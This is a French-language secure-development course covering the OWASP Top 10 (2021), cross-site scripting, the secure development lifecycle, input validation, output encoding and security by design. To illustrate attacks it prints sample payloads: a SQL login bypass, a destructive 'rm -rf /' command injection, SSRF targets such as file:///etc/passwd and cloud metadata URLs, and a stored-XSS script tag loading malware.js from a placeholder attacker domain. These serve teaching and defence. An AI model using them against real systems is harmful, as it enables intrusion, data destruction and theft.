Principes de développement sécurisé
Vulnérabilités web courantes (OWASP Top 10)
L'OWASP (Open Web Application Security Project) est une communauté en ligne ouverte et à but non lucratif, dédiée à l'amélioration de la sécurité des logiciels. L'un de ses projets les plus connus est l'OWASP Top 10, une liste régulièrement mise à jour des risques de sécurité les plus critiques pour les applications web.
L'OWASP Top 10 n'est pas une liste exhaustive de toutes les vulnérabilités possibles, mais un document de sensibilisation qui met en lumière les problèmes les plus courants et les plus dangereux, basé sur un large consensus d'experts et des données réelles. Comprendre ces risques est la première étape pour construire des applications web plus sûres. Nous nous baserons ici sur la version 2021.
Voici un aperçu des catégories de l'OWASP Top 10 (2021) :
-
A01:2021 – Broken Access Control (Contrôle d'accès défaillant)
- Description : Des restrictions sur ce que les utilisateurs authentifiés sont autorisés à faire ne sont pas correctement appliquées. Les attaquants peuvent exploiter ces failles pour accéder à des fonctionnalités et/ou des données non autorisées, comme l'accès aux comptes d'autres utilisateurs, la visualisation de fichiers sensibles, la modification des données d'autres utilisateurs, le changement des droits d'accès, etc.
- Exemple : Pouvoir accéder à la page d'administration
/admin
simplement en tapant l'URL, sans être administrateur. Pouvoir modifier les informations de l'utilisateurid=123
en changeant l'URL enid=456
. - Impact : Accès non autorisé, modification ou suppression de données, élévation de privilèges.
-
A02:2021 – Cryptographic Failures (Défaillances cryptographiques) (Anciennement "Exposition de données sensibles")
- Description : Échec de la protection adéquate des données sensibles (mots de passe, numéros de carte de crédit, données de santé, informations personnelles) au repos (stockage) ou en transit (communication). Cela peut être dû à l'absence de chiffrement, à l'utilisation d'algorithmes faibles ou obsolètes, à une mauvaise gestion des clés, à l'utilisation de protocoles non sécurisés (HTTP au lieu de HTTPS), etc.
- Exemple : Stocker les mots de passe en clair dans une base de données. Utiliser l'algorithme de hachage MD5 pour les mots de passe. Transmettre des données sensibles via HTTP. Laisser traîner des clés de chiffrement dans le code source.
- Impact : Vol de données sensibles, usurpation d'identité, non-conformité réglementaire.
-
A03:2021 – Injection
- Description : Des données non fiables fournies par l'utilisateur sont envoyées à un interpréteur (SQL, NoSQL, commandes OS, LDAP, XPath, etc.) comme partie d'une commande ou d'une requête. Les données malveillantes de l'attaquant peuvent tromper l'interpréteur pour qu'il exécute des commandes non intentionnelles ou accède à des données sans autorisation appropriée.
- Exemple : Injection SQL : Entrer
' OR '1'='1
dans un champ de connexion pour contourner l'authentification. Injection de commande OS : Entrer; rm -rf /
dans un champ de formulaire qui est utilisé dans une commande système. - Impact : Perte ou corruption de données, déni de service, prise de contrôle complète du serveur.
-
A04:2021 – Insecure Design (Conception non sécurisée)
- Description : Cette catégorie se concentre sur les risques liés à des défauts de conception et d'architecture. Il ne s'agit pas d'erreurs d'implémentation, mais de failles inhérentes à la manière dont l'application a été pensée et conçue, sans tenir compte suffisamment des aspects de sécurité (manque de modélisation des menaces, logique métier non sécurisée).
- Exemple : Un processus de récupération de mot de passe qui révèle si un email existe ou non dans la base. Une fonctionnalité de panier d'achat qui permet de modifier les prix côté client. Absence de limitation du nombre de tentatives pour une action sensible.
- Impact : Très variable, dépend de la faille de conception spécifique. Peut conduire à l'exploitation d'autres vulnérabilités.
-
A05:2021 – Security Misconfiguration (Mauvaise configuration de sécurité)
- Description : Une configuration incorrecte des composants de l'application ou de l'infrastructure sous-jacente (serveur web, serveur d'applications, base de données, framework, services cloud, etc.). Cela inclut l'utilisation de configurations par défaut non sécurisées, des configurations incomplètes ou ad hoc, des messages d'erreur trop verbeux, des services inutiles activés, des permissions de fichiers incorrectes.
- Exemple : Laisser les comptes et mots de passe par défaut sur un serveur ou une base de données. Permettre le listage des répertoires sur le serveur web. Une configuration cloud (bucket S3) rendant les fichiers publics par erreur. Ne pas appliquer les "security headers" HTTP.
- Impact : Accès non autorisé, fuite d'informations, compromission du système.
-
A06:2021 – Vulnerable and Outdated Components (Composants vulnérables et obsolètes)
- Description : Utilisation de composants logiciels (bibliothèques, frameworks, modules, systèmes d'exploitation) qui sont obsolètes, non supportés, ou qui contiennent des vulnérabilités connues et non corrigées.
- Exemple : Utiliser une ancienne version d'une bibliothèque JavaScript avec une faille XSS connue. Utiliser un framework web qui n'est plus maintenu. Exécuter une application sur un serveur avec un système d'exploitation ou une version de PHP/Java/Node.js non patchée. L'affaire Log4Shell (CVE-2021-44228) est un exemple majeur.
- Impact : Exploitation des vulnérabilités connues du composant, pouvant mener à une compromission complète.
-
A07:2021 – Identification and Authentication Failures (Échecs d'identification et d'authentification) (Anciennement "Broken Authentication")
- Description : Des fonctions liées à l'identité de l'utilisateur, à l'authentification ou à la gestion de session sont implémentées de manière incorrecte, permettant aux attaquants de compromettre des mots de passe, des clés, des jetons de session, ou d'exploiter d'autres failles pour usurper l'identité d'autres utilisateurs.
- Exemple : Permettre des attaques par force brute ou par credential stuffing (pas de limitation des tentatives de connexion). Ne pas invalider correctement les sessions après déconnexion ou changement de mot de passe. Utiliser des identifiants de session faibles ou prévisibles. Mauvaise gestion de la récupération de mot de passe. Absence d'authentification multifacteur (MFA).
- Impact : Prise de contrôle de comptes (Account Takeover), accès non autorisé.
-
A08:2021 – Software and Data Integrity Failures (Échecs d'intégrité des logiciels et des données)
- Description : Cette catégorie se concentre sur les failles liées à l'intégrité des logiciels et des données, souvent introduites via des processus de mise à jour non sécurisés, des pipelines CI/CD compromis, ou la désérialisation de données non fiables.
- Exemple : Télécharger et exécuter des mises à jour logicielles sans vérifier leur signature numérique. Une application qui désérialise des objets fournis par l'utilisateur sans validation, permettant une exécution de code à distance (RCE). Modification de données en transit sans détection.
- Impact : Installation de malwares via de fausses mises à jour, exécution de code à distance, compromission du système, corruption de données.
-
A09:2021 – Security Logging and Monitoring Failures (Échecs de journalisation et de surveillance de la sécurité)
- Description : Manque de journalisation (logging), de surveillance (monitoring) et de réponse aux incidents (incident response) adéquats. Sans journalisation et surveillance, les attaques ne peuvent pas être détectées à temps (ou pas du tout). Une journalisation insuffisante rend difficile l'analyse post-incident.
- Exemple : Ne pas journaliser les événements critiques comme les tentatives de connexion (réussies et échouées), les accès aux données sensibles, les erreurs ou les modifications de configuration. Les logs existent mais ne sont jamais consultés ou analysés. Absence d'alertes en cas d'activité suspecte.
- Impact : Détection tardive (ou absence de détection) des intrusions, difficulté à comprendre comment une attaque s'est produite, incapacité à réagir efficacement.
-
A10:2021 – Server-Side Request Forgery (SSRF)
- Description : Une faille SSRF se produit lorsqu'une application web récupère une ressource distante en utilisant une URL fournie par l'utilisateur, sans valider correctement cette URL. Cela permet à un attaquant de forcer l'application à envoyer des requêtes depuis le serveur vers des destinations non prévues par le développeur.
- Exemple : Une fonctionnalité permet d'importer une image depuis une URL. L'attaquant fournit l'URL
http://127.0.0.1:8080/admin
oufile:///etc/passwd
ouhttp://metadata.google.internal/
. Le serveur web effectue alors une requête vers ces adresses internes ou locales. - Impact : Scan des réseaux internes, accès à des services internes non exposés publiquement, fuite de données locales ou de métadonnées cloud, interaction avec des services tiers au nom du serveur vulnérable.
Se familiariser avec l'OWASP Top 10 est une étape essentielle pour tout développeur, testeur ou professionnel de la sécurité souhaitant construire et maintenir des applications web sécurisées.
Focus sur une vulnérabilité majeure : Cross-Site Scripting (XSS)
Le Cross-Site Scripting (XSS) est l'une des vulnérabilités web les plus répandues et les mieux connues. Elle se produit lorsqu'une application web permet à un attaquant d'injecter du code malveillant (généralement du JavaScript) dans des pages web consultées par d'autres utilisateurs.
Contrairement à l'injection SQL qui cible le serveur et la base de données, XSS cible le navigateur web de l'utilisateur final. Le code malveillant s'exécute dans le contexte de sécurité du site web vulnérable dans le navigateur de la victime.
Comment ça marche ?
Le scénario typique est le suivant :
- Injection : L'attaquant trouve un moyen d'injecter un script malveillant (par exemple,
<script>alert('XSS!');</script>
ou un script plus complexe) dans une page web. Cela peut se faire via :- Un champ de formulaire (commentaire, barre de recherche, profil utilisateur...).
- Un paramètre d'URL.
- Toute autre entrée utilisateur qui est ensuite affichée sur la page sans validation ni encodage appropriés.
- Stockage ou Reflet : Le script injecté peut être stocké sur le serveur (XSS Stored) ou simplement reflété dans la réponse du serveur à une requête spécifique (XSS Reflected).
- Exécution : Lorsqu'un utilisateur légitime visite la page web compromise (ou clique sur un lien spécialement conçu par l'attaquant dans le cas du XSS Reflected), le navigateur de cet utilisateur reçoit le script malveillant comme s'il faisait partie du contenu légitime de la page. Le navigateur l'exécute.
Objectifs de l'attaquant avec XSS
Une fois que l'attaquant peut exécuter du JavaScript dans le navigateur de la victime dans le contexte du site vulnérable, il peut réaliser diverses actions malveillantes :
- Vol de cookies de session : Accéder aux cookies de session de l'utilisateur et les envoyer à l'attaquant. Cela permet à l'attaquant d'usurper la session de la victime (Session Hijacking).
- Détournement de compte : Effectuer des actions au nom de l'utilisateur (poster des messages, effectuer des transactions, modifier des informations de profil).
- Redirection vers des sites malveillants (Phishing) : Rediriger l'utilisateur vers un faux site de connexion pour voler ses identifiants.
- Modification du contenu de la page : Afficher de fausses informations, des publicités malveillantes, ou défigurer le site (defacement).
- Keylogging : Enregistrer les frappes au clavier de l'utilisateur sur la page compromise.
- Accès au microphone ou à la webcam (si l'utilisateur donne les permissions).
Types de XSS
-
XSS Reflected (Reflété) :
- La charge utile malveillante fait partie de la requête envoyée au serveur (souvent dans un paramètre d'URL).
- Le serveur inclut cette charge utile (sans la traiter correctement) dans la réponse envoyée au navigateur.
- Le script s'exécute immédiatement dans le navigateur de la victime.
- Nécessite une interaction de la victime : L'attaquant doit généralement convaincre la victime de cliquer sur un lien spécialement conçu ou de soumettre un formulaire piégé.
- Exemple : Un site de recherche vulnérable
http://example.com/search?query=<script>alert('XSS')</script>
. Si un utilisateur clique sur ce lien, le script s'exécute.
-
XSS Stored (Stocké ou Persistant) :
- La charge utile malveillante est stockée de manière permanente sur le serveur cible (par exemple, dans un commentaire de blog, un message de forum, un profil utilisateur, une entrée de base de données).
- Le script est ensuite servi à tous les utilisateurs qui consultent la page contenant la charge utile stockée.
- Beaucoup plus dangereux que le XSS Reflected car il ne nécessite pas d'interaction spécifique de la victime (autre que de visiter la page compromise).
- Exemple : Un attaquant poste un commentaire sur un blog contenant
<script src="http://attaquant.com/malware.js"></script>
. Chaque visiteur lisant ce commentaire exécutera le script malveillant.
Prévention du XSS
La défense contre XSS repose principalement sur le traitement correct des données avant leur affichage :
- Encodage des sorties (Output Encoding) - La défense principale :
- Encoder systématiquement toutes les données non fiables avant de les insérer dans la sortie HTML, en fonction du contexte spécifique (corps HTML, attributs HTML, JavaScript, CSS, URL). Utilisez les fonctions d'encodage fournies par votre framework ou des bibliothèques dédiées et éprouvées (ne tentez pas de le faire manuellement).
- Validation des entrées :
- Valider et filtrer les entrées utilisateur côté serveur (allowlisting) pour rejeter les données malformées ou suspectes. C'est une défense en profondeur, mais elle ne remplace pas l'encodage des sorties.
- Content Security Policy (CSP) :
- Utiliser l'en-tête HTTP
Content-Security-Policy
pour définir des règles strictes sur les sources de contenu (scripts, styles, images, etc.) que le navigateur est autorisé à charger et exécuter pour votre site. Un CSP bien configuré peut considérablement réduire l'impact d'une éventuelle injection XSS.
- Utiliser l'en-tête HTTP
- Frameworks modernes :
- Utiliser des frameworks web modernes (React, Angular, Vue.js, Django, Ruby on Rails, etc.) qui intègrent souvent des mécanismes de protection contre XSS par défaut (par exemple, l'encodage automatique dans les templates). Attention : il faut comprendre comment ces protections fonctionnent et ne pas les désactiver ou les contourner involontairement.
- Attribut
HttpOnly
pour les cookies :- Marquer les cookies de session avec l'attribut
HttpOnly
empêche les scripts JavaScript (y compris les scripts XSS) d'y accéder, limitant ainsi le risque de vol de session.
- Marquer les cookies de session avec l'attribut
- Sanitization HTML :
- Si vous devez absolument autoriser les utilisateurs à soumettre du HTML (par exemple, dans un éditeur de texte riche), utilisez une bibliothèque de sanitization robuste et bien configurée (comme DOMPurify) pour nettoyer le HTML et supprimer tout code potentiellement dangereux. À utiliser avec une extrême prudence.
Malgré sa notoriété, XSS reste l'une des vulnérabilités web les plus fréquemment découvertes. Une validation et un encodage rigoureux sont indispensables pour s'en protéger.
Secure Software Development Lifecycle (SSDLC)
La sécurité des applications ne devrait pas être une réflexion après coup, ajoutée à la fin du développement. Au contraire, elle doit être intégrée à chaque étape du cycle de vie du développement logiciel (Software Development Lifecycle - SDLC). C'est le principe du Secure Software Development Lifecycle (SSDLC), parfois appelé SDL (Security Development Lifecycle).
L'idée maîtresse du SSDLC est de "déplacer la sécurité vers la gauche" (Shift Left Security), c'est-à-dire d'introduire les considérations et les activités de sécurité le plus tôt possible dans le processus de développement. Détecter et corriger une faille de sécurité en phase de conception ou de codage coûte beaucoup moins cher et est beaucoup plus efficace que de la découvrir juste avant la mise en production ou, pire, après une attaque.
Le SSDLC n'est pas un processus rigide unique, mais plutôt un ensemble de bonnes pratiques et d'activités de sécurité qui sont intégrées aux phases habituelles du développement logiciel.
Intégration de la sécurité dans les phases du SDLC
-
Phase de Conception et d'Exigences (Requirements & Design) :
- Définition des exigences de sécurité : Identifier et documenter les exigences de sécurité spécifiques à l'application, au même titre que les exigences fonctionnelles (par exemple, type d'authentification requis, chiffrement des données sensibles, conformité réglementaire).
- Modélisation des menaces (Threat Modeling) : Identifier les menaces potentielles, les surfaces d'attaque, les vulnérabilités probables et les contrôles de sécurité nécessaires dès la phase de conception. Cela permet d'anticiper les problèmes et de concevoir une architecture plus résiliente.
- Analyse des risques : Évaluer les risques associés aux menaces identifiées et prioriser les mesures de sécurité.
- Définition des politiques de sécurité : Établir des standards de codage sécurisé, des politiques de gestion des dépendances, etc.
-
Phase d'Architecture et de Conception Détaillée (Architecture & Detailed Design) :
- Principes de conception sécurisée : Appliquer des principes comme la défense en profondeur, le moindre privilège, la séparation des tâches, la validation des entrées, l'échec sécurisé (fail-secure), etc.
- Revue de l'architecture : Analyser l'architecture logicielle et technique pour identifier les faiblesses de conception potentielles du point de vue de la sécurité.
- Choix de technologies sécurisées : Sélectionner des frameworks, des bibliothèques et des composants connus pour leur robustesse et leur sécurité.
-
Phase de Développement et de Codage (Implementation / Coding) :
- Pratiques de codage sécurisé : Former les développeurs aux bonnes pratiques de codage sécurisé (par exemple, OWASP Secure Coding Practices) pour éviter les erreurs courantes menant à des vulnérabilités (injections, XSS, buffer overflows, etc.).
- Utilisation d'outils d'analyse statique (SAST - Static Application Security Testing) : Intégrer des outils SAST dans l'environnement de développement ou dans le pipeline CI/CD pour analyser le code source avant l'exécution et détecter des vulnérabilités potentielles.
- Revue de code (Code Review) : Inclure systématiquement un volet sécurité dans les revues de code par les pairs pour identifier les failles logiques ou les erreurs d'implémentation.
- Gestion sécurisée des dépendances : Utiliser des outils d'analyse de composition logicielle (SCA - Software Composition Analysis) pour identifier et gérer les vulnérabilités dans les bibliothèques et composants tiers utilisés.
-
Phase de Test (Testing) :
- Tests de sécurité dédiés : Intégrer des tests de sécurité spécifiques au plan de test global.
- Analyse dynamique (DAST - Dynamic Application Security Testing) : Tester l'application en cours d'exécution pour identifier les vulnérabilités en simulant des attaques (souvent via des scanners automatisés).
- Tests d'intrusion (Penetration Testing) : Faire appel à des experts (internes ou externes) pour tenter activement d'exploiter les vulnérabilités de l'application, simulant une attaque réelle.
- Tests interactifs (IAST - Interactive Application Security Testing) : Combinaison de SAST et DAST, analysant l'application de l'intérieur pendant son exécution.
- Fuzz Testing : Envoyer des données invalides, inattendues ou aléatoires à l'application pour provoquer des erreurs et découvrir des failles.
-
Phase de Déploiement et de Mise en Production (Deployment / Release) :
- Configuration sécurisée de l'environnement : S'assurer que les serveurs, bases de données, et autres composants d'infrastructure sont correctement configurés et "durcis" (hardening).
- Gestion sécurisée des secrets : Ne pas stocker de clés d'API, mots de passe ou autres secrets en clair dans le code ou les fichiers de configuration. Utiliser des coffres-forts de secrets (comme HashiCorp Vault, AWS Secrets Manager, etc.).
- Processus de déploiement sécurisé : Sécuriser le pipeline CI/CD (intégration continue / déploiement continu) pour éviter l'introduction de code malveillant ou de vulnérabilités pendant le déploiement.
- Scan de vulnérabilités final : Effectuer un dernier scan avant la mise en production.
-
Phase de Maintenance et d'Opérations (Maintenance / Operations) :
- Surveillance continue : Mettre en place une journalisation et une surveillance robustes pour détecter les activités suspectes et les tentatives d'attaque.
- Gestion des vulnérabilités et des patchs : Scanner régulièrement l'application et ses dépendances pour détecter de nouvelles vulnérabilités et appliquer les correctifs rapidement.
- Plan de réponse aux incidents : Avoir un plan clair pour réagir en cas de découverte d'une vulnérabilité ou d'une attaque réussie.
- Audits de sécurité périodiques : Réévaluer régulièrement la posture de sécurité de l'application.
Avantages du SSDLC
- Réduction des vulnérabilités : Produire des logiciels intrinsèquement plus sûrs.
- Diminution des coûts : Corriger les failles tôt dans le cycle coûte beaucoup moins cher.
- Amélioration de la conformité : Facilite le respect des exigences réglementaires et des standards de sécurité.
- Augmentation de la confiance : Renforce la confiance des utilisateurs et des clients.
- Réduction des délais (à long terme) : Évite les retards coûteux dus à la découverte de failles critiques juste avant la mise en production.
Défis du SSDLC
- Culture d'entreprise : Nécessite une culture où la sécurité est l'affaire de tous (développeurs, testeurs, opérations, sécurité), pas seulement d'une équipe dédiée.
- Compétences et formation : Exige que les équipes de développement soient formées aux pratiques de sécurité.
- Outils : Nécessite l'intégration d'outils de sécurité (SAST, DAST, SCA, etc.) dans les processus.
- Intégration : Doit être intégré de manière fluide dans les méthodologies de développement existantes (Agile, DevOps -> DevSecOps).
L'intégration de la sécurité dans les pratiques DevOps est souvent appelée DevSecOps. L'objectif est d'automatiser et d'intégrer les contrôles de sécurité tout au long du pipeline CI/CD pour maintenir la vélocité tout en améliorant la sécurité.
Validation des entrées et des sorties
La validation des entrées et l'encodage/échappement des sorties sont deux des pratiques de sécurité les plus fondamentales et les plus critiques dans le développement d'applications. Elles visent à contrôler et à traiter correctement les données qui entrent et sortent de l'application pour prévenir de nombreuses vulnérabilités courantes.
Validation des entrées (Input Validation)
Principe : La validation des entrées consiste à vérifier, filtrer et nettoyer toutes les données provenant de sources non fiables avant de les utiliser dans l'application. Une source non fiable est toute source de données sur laquelle l'application n'a pas un contrôle total, ce qui inclut :
- Les données saisies par les utilisateurs dans les formulaires web.
- Les paramètres d'URL.
- Les en-têtes HTTP (y compris les cookies).
- Les données provenant d'API externes ou de services tiers.
- Les fichiers téléchargés par les utilisateurs.
- Les données lues depuis une base de données (si elles ont pu être altérées).
Pourquoi est-ce crucial ? Une validation inadéquate des entrées est la cause première de nombreuses vulnérabilités majeures :
- Injections (SQL, Commandes OS, LDAP, etc. - OWASP A03): Si des caractères spéciaux ou des commandes ne sont pas correctement filtrés ou échappés, un attaquant peut injecter du code malveillant qui sera interprété par le backend.
- Cross-Site Scripting (XSS) : Si du code HTML ou JavaScript malveillant n'est pas neutralisé dans les entrées, il peut être stocké puis affiché à d'autres utilisateurs, s'exécutant dans leur navigateur.
- Buffer Overflows : Si la taille des entrées n'est pas vérifiée, des données trop longues peuvent écraser des zones mémoires adjacentes.
- Path Traversal : Si des séquences comme
../
ne sont pas filtrées dans les noms de fichiers ou les chemins, un attaquant peut accéder à des fichiers en dehors du répertoire prévu. - Déni de Service (DoS) : Des entrées malformées ou excessivement longues peuvent faire planter l'application ou consommer toutes ses ressources.
Stratégies de validation :
-
Allowlisting (Liste blanche) - FORTEMENT RECOMMANDÉ :
- Définir précisément ce qui est autorisé (le format, les caractères, la longueur, la plage de valeurs attendus).
- Rejeter toute entrée qui ne correspond pas exactement à la définition de ce qui est autorisé.
- Exemple : Pour un champ "Code Postal" français, n'autoriser que 5 chiffres exactement. Pour un champ "Quantité", n'autoriser que des entiers positifs dans une certaine plage.
- C'est l'approche la plus sûre car elle ne nécessite pas d'anticiper toutes les formes d'attaques possibles.
-
Denylisting (Liste noire) - Déconseillé :
- Tenter d'identifier et de bloquer les entrées malveillantes connues (par exemple, bloquer les balises
<script>
, les caractères'
et;
pour SQL). - Très difficile à faire correctement et souvent inefficace. Les attaquants trouvent constamment de nouvelles façons de contourner les listes noires (encodages différents, variations d'attaques, etc.).
- Tenter d'identifier et de bloquer les entrées malveillantes connues (par exemple, bloquer les balises
-
Vérification de type : S'assurer que la donnée est du type attendu (entier, chaîne, booléen, date, etc.).
-
Vérification de longueur : S'assurer que la donnée respecte les limites de taille minimales et maximales.
-
Vérification de format : Utiliser des expressions régulières ou des validateurs spécifiques pour vérifier que la donnée correspond au format attendu (email, URL, numéro de téléphone, etc.).
-
Vérification de plage : S'assurer que les valeurs numériques se situent dans une plage acceptable.
-
Validation côté serveur vs côté client :
- La validation côté client (JavaScript dans le navigateur) est utile pour l'expérience utilisateur (feedback rapide), mais elle ne doit jamais être considérée comme une mesure de sécurité. Elle peut être facilement contournée.
- La validation côté serveur est essentielle et obligatoire car l'attaquant peut envoyer des requêtes directement au serveur sans passer par le navigateur.
-
Sanitization vs Validation :
- La validation vérifie si l'entrée est conforme aux règles et la rejette si ce n'est pas le cas.
- La sanitization tente de modifier l'entrée pour la rendre "sûre" (par exemple, en supprimant ou en encodant les caractères dangereux).
- Il est généralement préférable de valider d'abord (et rejeter si invalide) plutôt que de compter uniquement sur la sanitization, qui peut être complexe et faillible.
Encodage/Échappement des sorties (Output Encoding/Escaping)
Principe : L'encodage des sorties consiste à traiter correctement les données avant de les envoyer à un interpréteur externe (navigateur web, base de données, shell système) afin qu'elles soient traitées comme des données et non comme du code exécutable ou des commandes.
Pourquoi est-ce crucial ? L'absence d'encodage correct des sorties est la cause principale des vulnérabilités de type Cross-Site Scripting (XSS).
- Prévention du XSS : Lorsqu'une donnée (potentiellement issue d'une entrée utilisateur non fiable) est affichée dans une page HTML, elle doit être encodée pour le contexte HTML. Les caractères spéciaux comme
<
,>
,"
,'
,&
doivent être remplacés par leurs entités HTML respectives (<
,>
,"
,'
,&
). Cela empêche le navigateur d'interpréter cette donnée comme du code HTML ou JavaScript exécutable.
L'importance du contexte : L'encodage doit être spécifique au contexte dans lequel la donnée sera utilisée :
- Corps HTML : Encodage des entités HTML.
- Attributs HTML : Encodage spécifique pour les attributs (par exemple, dans
href="..."
ouvalue="..."
). - JavaScript : Échappement des caractères pour les utiliser en toute sécurité dans du code JavaScript.
- CSS : Échappement pour une utilisation dans des feuilles de style.
- URL : Encodage des composants d'URL (percent-encoding).
Autres contextes :
- SQL : Bien que l'échappement manuel soit possible, il est fortement recommandé d'utiliser des requêtes préparées (prepared statements) ou des procédures stockées. Celles-ci séparent les commandes SQL des données, empêchant ainsi les injections SQL de manière beaucoup plus fiable que l'échappement manuel.
- Commandes OS : Éviter autant que possible d'exécuter des commandes système avec des entrées utilisateur. Si nécessaire, utiliser des API sécurisées qui gèrent l'échappement et la séparation des arguments, et valider très strictement les entrées autorisées.
- Validez TOUTES les entrées provenant de sources non fiables, en préférant l'allowlisting.
- Encodez TOUTES les sorties en fonction du contexte spécifique où elles seront interprétées (HTML, JS, SQL, etc.).
- Utilisez des bibliothèques et frameworks reconnus qui fournissent des mécanismes de validation et d'encodage robustes, plutôt que de réinventer la roue.
Intégration de la sécurité dès la conception (Security by Design)
Le principe de "Security by Design" (Sécurité dès la conception) consiste à intégrer les considérations de sécurité dès les toutes premières étapes de la création d'une application, au même titre que les exigences fonctionnelles, la performance ou l'expérience utilisateur. Il s'agit d'une approche proactive plutôt que réactive, reconnaissant que la sécurité n'est pas une fonctionnalité que l'on peut simplement "ajouter" à la fin.
Intégrer la sécurité dès la conception n'est pas seulement une liste de tâches, c'est avant tout un changement de mentalité. Il s'agit de penser comme un attaquant potentiel tout au long du processus de conception et de développement pour anticiper les faiblesses et construire des défenses appropriées dès le départ.
Plutôt que de redétailler toutes les activités déjà vues dans le SSDLC, concentrons-nous sur quelques activités et concepts clés spécifiques à cette phase initiale :
-
Modélisation des Menaces (Threat Modeling) :
- Objectif : Identifier de manière structurée les menaces potentielles qui pèsent sur l'application, les vulnérabilités qu'elles pourraient exploiter, et les contrôles de sécurité nécessaires pour les atténuer. C'est une activité proactive réalisée pendant la conception.
- Processus type :
- Décomposer l'application : Identifier les composants clés, les flux de données, les points d'entrée/sortie, et les limites de confiance (trust boundaries). Créer un diagramme de flux de données (DFD) est souvent utile.
- Identifier les menaces : Utiliser des méthodologies structurées comme STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) pour brainstormer sur les types d'attaques possibles contre chaque composant ou flux de données.
- Évaluer les menaces : Analyser la probabilité et l'impact de chaque menace identifiée (parfois en utilisant des systèmes de notation comme DREAD - Damage, Reproducibility, Exploitability, Affected users, Discoverability, bien que son usage soit débattu).
- Identifier les contre-mesures : Déterminer les contrôles de sécurité (techniques de chiffrement, validation des entrées, contrôles d'accès, etc.) à mettre en place pour prévenir ou atténuer chaque menace significative.
- Bénéfice : Permet de prendre des décisions de conception éclairées et de prioriser les efforts de sécurité là où ils sont le plus nécessaires, avant même qu'une seule ligne de code ne soit écrite.
-
Définition des Exigences de Sécurité Abusives (Abuse Cases / Misuse Cases) :
- Objectif : Compléter les cas d'utilisation fonctionnels (Use Cases) en décrivant comment un attaquant pourrait abuser ou mal utiliser les fonctionnalités de l'application pour atteindre des objectifs malveillants.
- Processus : Pour chaque fonctionnalité prévue, se poser la question : "Comment un attaquant pourrait-il détourner cette fonctionnalité ?".
- Exemple :
- Use Case : "En tant qu'utilisateur, je peux réinitialiser mon mot de passe en utilisant mon adresse email."
- Abuse Case : "En tant qu'attaquant, je peux lancer une attaque par force brute sur la fonction de réinitialisation pour découvrir les adresses email valides."
- Abuse Case : "En tant qu'attaquant, je peux intercepter le lien de réinitialisation envoyé par email."
- Bénéfice : Aide à identifier les points faibles potentiels dans la logique métier et à concevoir des fonctionnalités plus robustes face aux abus.
-
Application des Principes de Conception Sécurisée :
- Au-delà des principes généraux comme le moindre privilège, il s'agit d'appliquer consciemment des principes architecturaux visant à réduire les risques lors de la conception :
- Minimiser la surface d'attaque : Réduire le nombre de points d'entrée, de fonctionnalités exposées, et de code exécuté avec des privilèges élevés. Désactiver les fonctionnalités ou services non nécessaires.
- Établir des périmètres sécurisés (Defense in Depth) : Ne pas compter sur une seule ligne de défense. Utiliser plusieurs couches de sécurité (validation côté client ET serveur, pare-feu réseau ET applicatif, etc.).
- Échec sécurisé (Fail Secure) : Concevoir le système de manière à ce qu'en cas d'erreur (exception, panne, mauvaise configuration), il bascule dans un état sécurisé par défaut (par exemple, refuser l'accès plutôt que de l'accorder par erreur).
- Ne pas faire confiance aux services externes : Valider et nettoyer toutes les données provenant de systèmes externes ou d'API tierces.
- Séparation des responsabilités (Componentization) : Isoler les composants critiques pour limiter l'impact d'une compromission d'un composant moins sensible.
- Au-delà des principes généraux comme le moindre privilège, il s'agit d'appliquer consciemment des principes architecturaux visant à réduire les risques lors de la conception :
-
Revue de Conception Sécurisée (Secure Design Review) :
- Objectif : Faire examiner la conception architecturale et détaillée de l'application par des personnes ayant une expertise en sécurité (architectes sécurité, équipe sécurité, consultants) ou par des pairs formés aux principes de sécurité.
- Processus : Présenter l'architecture, les flux de données, les choix technologiques, les résultats de la modélisation des menaces, et discuter des contrôles de sécurité prévus.
- Bénéfice : Permet d'obtenir un regard extérieur, d'identifier des faiblesses de conception qui auraient pu être manquées, et de valider les choix de sécurité avant d'investir dans le développement.
-
Documentation des décisions de sécurité :
- Il est crucial de documenter les exigences de sécurité, les menaces identifiées, les contrôles mis en place, et les raisons des choix de conception liés à la sécurité. Cette documentation sera utile pour les développeurs, les testeurs, les auditeurs, et pour la maintenance future de l'application.
Consacrer du temps à la sécurité pendant la phase de conception peut sembler ralentir le processus initial, mais c'est un investissement extrêmement rentable. Il permet d'éviter des refontes coûteuses, des retards de livraison dus à la découverte tardive de failles critiques, et surtout, de réduire considérablement le risque d'incidents de sécurité une fois l'application en production.